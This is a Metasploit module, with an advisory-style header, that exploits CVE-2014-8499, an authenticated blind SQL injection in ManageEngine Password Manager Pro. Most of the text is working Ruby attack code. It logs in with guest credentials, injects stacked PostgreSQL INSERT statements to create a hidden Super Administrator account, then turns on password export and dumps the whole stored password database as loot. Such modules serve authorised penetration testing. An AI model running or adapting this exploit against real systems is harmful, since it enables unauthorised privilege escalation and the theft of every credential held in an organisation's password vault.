Headline
ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
ManageEngine Password Manager Pro (PMP) has an authenticated blind SQL injection vulnerability in SQLAdvancedALSearchResult.cc that can be abused to escalate privileges and obtain Super Administrator access. A Super Administrator can then use his privileges to dump the whole password database in CSV format. PMP can use both MySQL and PostgreSQL databases but this module only exploits the latter as MySQL does not support stacked queries with Java. PostgreSQL is the default database in v6.8 and above, but older PMP versions can be upgraded and continue using MySQL, so a higher version does not guarantee exploitability. This Metasploit module has been tested on v6.8 to v7.1 build 7104 on both Windows and Linux. The vulnerability is fixed in v7.1 build 7105 and above.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection', 'Description' => %q{ ManageEngine Password Manager Pro (PMP) has an authenticated blind SQL injection vulnerability in SQLAdvancedALSearchResult.cc that can be abused to escalate privileges and obtain Super Administrator access. A Super Administrator can then use his privileges to dump the whole password database in CSV format. PMP can use both MySQL and PostgreSQL databases but this module only exploits the latter as MySQL does not support stacked queries with Java. PostgreSQL is the default database in v6.8 and above, but older PMP versions can be upgraded and continue using MySQL, so a higher version does not guarantee exploitability. This module has been tested on v6.8 to v7.1 build 7104 on both Windows and Linux. The vulnerability is fixed in v7.1 build 7105 and above. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2014-8499' ], [ 'OSVDB', '114485' ], [ 'URL', 'https://seclists.org/fulldisclosure/2014/Nov/18' ], [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_pmp_privesc.txt' ], ], 'DisclosureDate' => '2014-11-08' ) ) register_options( [ Opt::RPORT(7272), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('USERNAME', [true, 'The username to login as', 'guest']), OptString.new('PASSWORD', [true, 'Password for the specified username', 'guest']), OptString.new('TARGETURI', [ true, 'Password Manager Pro application URI', '/']) ] ) end def login(username, password) # 1st step: we obtain a JSESSIONID cookie... res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc') }) if res && res.code == 200 # 2nd step: we try to get the ORGN_NAME and AUTHRULE_NAME from the page (which is only needed for the MSP versions) if res.body && res.body.to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="(\w*)"/ orgn_name = ::Regexp.last_match(1) else orgn_name = nil end if res.body && res.body.to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="(\w*)"/ authrule_name = ::Regexp.last_match(1) else authrule_name = nil end # 3rd step: we try to get the domainName for the user cookie = res.get_cookies res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login', 'AjaxResponse.jsp'), 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => cookie, 'vars_get' => { 'RequestType' => 'GetUserDomainName', 'userName' => username } }) if res && res.code == 200 && res.body domain_name = res.body.to_s.strip else domain_name = nil end # 4th step: authenticate to j_security_check, follow the redirect to PassTrixMain.cc and get its cookies. # For some reason send_request_cgi! doesn't work, so follow the redirect manually... vars_post = { 'j_username' => username, 'username' => username, 'j_password' => password } vars_post['ORGN_NAME'] = orgn_name if orgn_name vars_post['AUTHRULE_NAME'] = authrule_name if authrule_name vars_post['domainName'] = domain_name if domain_name res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'j_security_check;' + cookie.to_s.gsub(';', '')), 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => cookie, 'vars_post' => vars_post }) if res && res.code == 302 res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc'), 'cookie' => cookie }) if res && res.code == 200 # 5th step: get the c ookies sent in the last response return res.get_cookies end end end return nil end def inject_sql(old_style) # On versions older than 7000 the injection is slightly different (we call it "old style"). # For "new style" versions we can escalate to super admin by doing # "update aaaauthorizedrole set role_id=1 where account_id=#{user_id};insert into ptrx_superadmin values (#{user_id},true);" # However for code simplicity let's just create a brand new user which works for both "old style" and "new style" versions. if old_style sqli_prefix = '\\\'))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") as ' + Rex::Text.rand_text_alpha_lower(rand(3..10)) + ';' else sqli_prefix = '\\\'))))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") AS Ptrx_DummyPwds GROUP BY "PTRX_RID","PTRX_RNAME","PTRX_DESC","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24") as ' + Rex::Text.rand_text_alpha_lower(rand(3..10)) + ';' end user_id = Rex::Text.rand_text_numeric(4) time = Rex::Text.rand_text_numeric(8) username = Rex::Text.rand_text_alpha_lower(6) username_chr = '' username.each_char do |c| username_chr << 'chr(' << c.ord.to_s << ')||' end username_chr.chop!.chop! password = Rex::Text.rand_text_alphanumeric(10) password_chr = '' password.each_char do |c| password_chr << 'chr(' << c.ord.to_s << ')||' end password_chr.chop!.chop! group_chr = '' 'Default Group'.each_char do |c| group_chr << 'chr(' << c.ord.to_s << ')||' end group_chr.chop!.chop! sqli_command = "insert into aaauser values (#{user_id},$$$$,$$$$,$$$$,#{time},$$$$);" \ "insert into aaapassword values (#{user_id},#{password_chr},$$$$,0,2,1,#{time});" \ "insert into aaauserstatus values (#{user_id},$$ACTIVE$$,#{time});" \ "insert into aaalogin values (#{user_id},#{user_id},#{username_chr});" \ "insert into aaaaccount values (#{user_id},#{user_id},1,1,#{time});" \ "insert into aaaauthorizedrole values (#{user_id},1);" \ "insert into aaaaccountstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" \ "insert into aaapasswordstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" \ "insert into aaaaccadminprofile values (#{user_id},$$" + Rex::Text.rand_text_alpha_upper(8) + '$$,-1,-1,-1,-1,-1,false,-1,-1,-1,$$$$);' \ "insert into aaaaccpassword values (#{user_id},#{user_id});" \ "insert into ptrx_resourcegroup values (#{user_id},3,#{user_id},0,0,0,0,#{group_chr},$$$$);" \ "insert into ptrx_superadmin values (#{user_id},true);" sqli_suffix = '-- ' res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'SQLAdvancedALSearchResult.cc'), 'cookie' => @cookie, 'vars_post' => { 'COUNT' => Rex::Text.rand_text_numeric(2), 'SEARCH_ALL' => sqli_prefix + sqli_command + sqli_suffix, 'USERID' => Rex::Text.rand_text_numeric(4) } }) return [ username, password ] end def get_version res = send_request_cgi({ 'uri' => normalize_uri('PassTrixMain.cc'), 'method' => 'GET' }) if res && res.code == 200 && res.body && res.body.to_s =~ /ManageEngine Password Manager Pro/ && ( res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6 res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6 res.body.to_s =~ %r{/themes/passtrix/V([0-9]+)/styles/login\.css"} # PMP v7 ) return ::Regexp.last_match(1).to_i else return 9999 end end def check version = get_version case version when 0..7104 return Exploit::CheckCode::Appears when 7105..9998 return Exploit::CheckCode::Safe else return Exploit::CheckCode::Unknown end end def run unless check == Exploit::CheckCode::Appears print_error("Fingerprint hasn't been successful, trying to exploit anyway...") end version = get_version @cookie = login(datastore['USERNAME'], datastore['PASSWORD']) if @cookie.nil? fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate.") end creds = inject_sql(version < 7000) username = creds[0] password = creds[1] print_good("Created a new Super Administrator with username: #{username} | password: #{password}") cookie_su = login(username, password) if cookie_su.nil? fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as Super Administrator, account #{username} might not work.") end print_status('Reporting Super Administrator credentials...') store_valid_credentail(user: username, private: password) print_status('Leaking Password database...') loot_passwords(cookie_su) end def service_details super.merge({ access_level: 'Super Administrator' }) end def loot_passwords(cookie_admin) # 1st we turn on password exports send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ConfigureOffline.ve'), 'cookie' => cookie_admin, 'vars_post' => { 'IS_XLS' => 'true', 'includePasswd' => 'true', 'HOMETAB' => 'true', 'RESTAB' => 'true', 'RGTAB' => 'true', 'PASSWD_RULE' => 'Offline Password File', 'LOGOUT_TIME' => '20' } }) # now get the loot! res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'jsp', 'xmlhttp', 'AjaxResponse.jsp'), 'cookie' => cookie_admin, 'vars_get' => { 'RequestType' => 'ExportResources' } }) if res && res.code == 200 && res.body && !res.body.to_s.empty? vprint_line(res.body.to_s) print_good('Successfully exported password database from Password Manager Pro.') loot_name = 'manageengine.passwordmanagerpro.password.db' loot_type = 'text/csv' loot_filename = 'manageengine_pmp_password_db.csv' loot_desc = 'ManageEngine Password Manager Pro Password DB' p = store_loot( loot_name, loot_type, rhost, res.body, loot_filename, loot_desc ) print_status("Password database saved in: #{p}") else print_error('Failed to export Password Manager Pro passwords.') end endend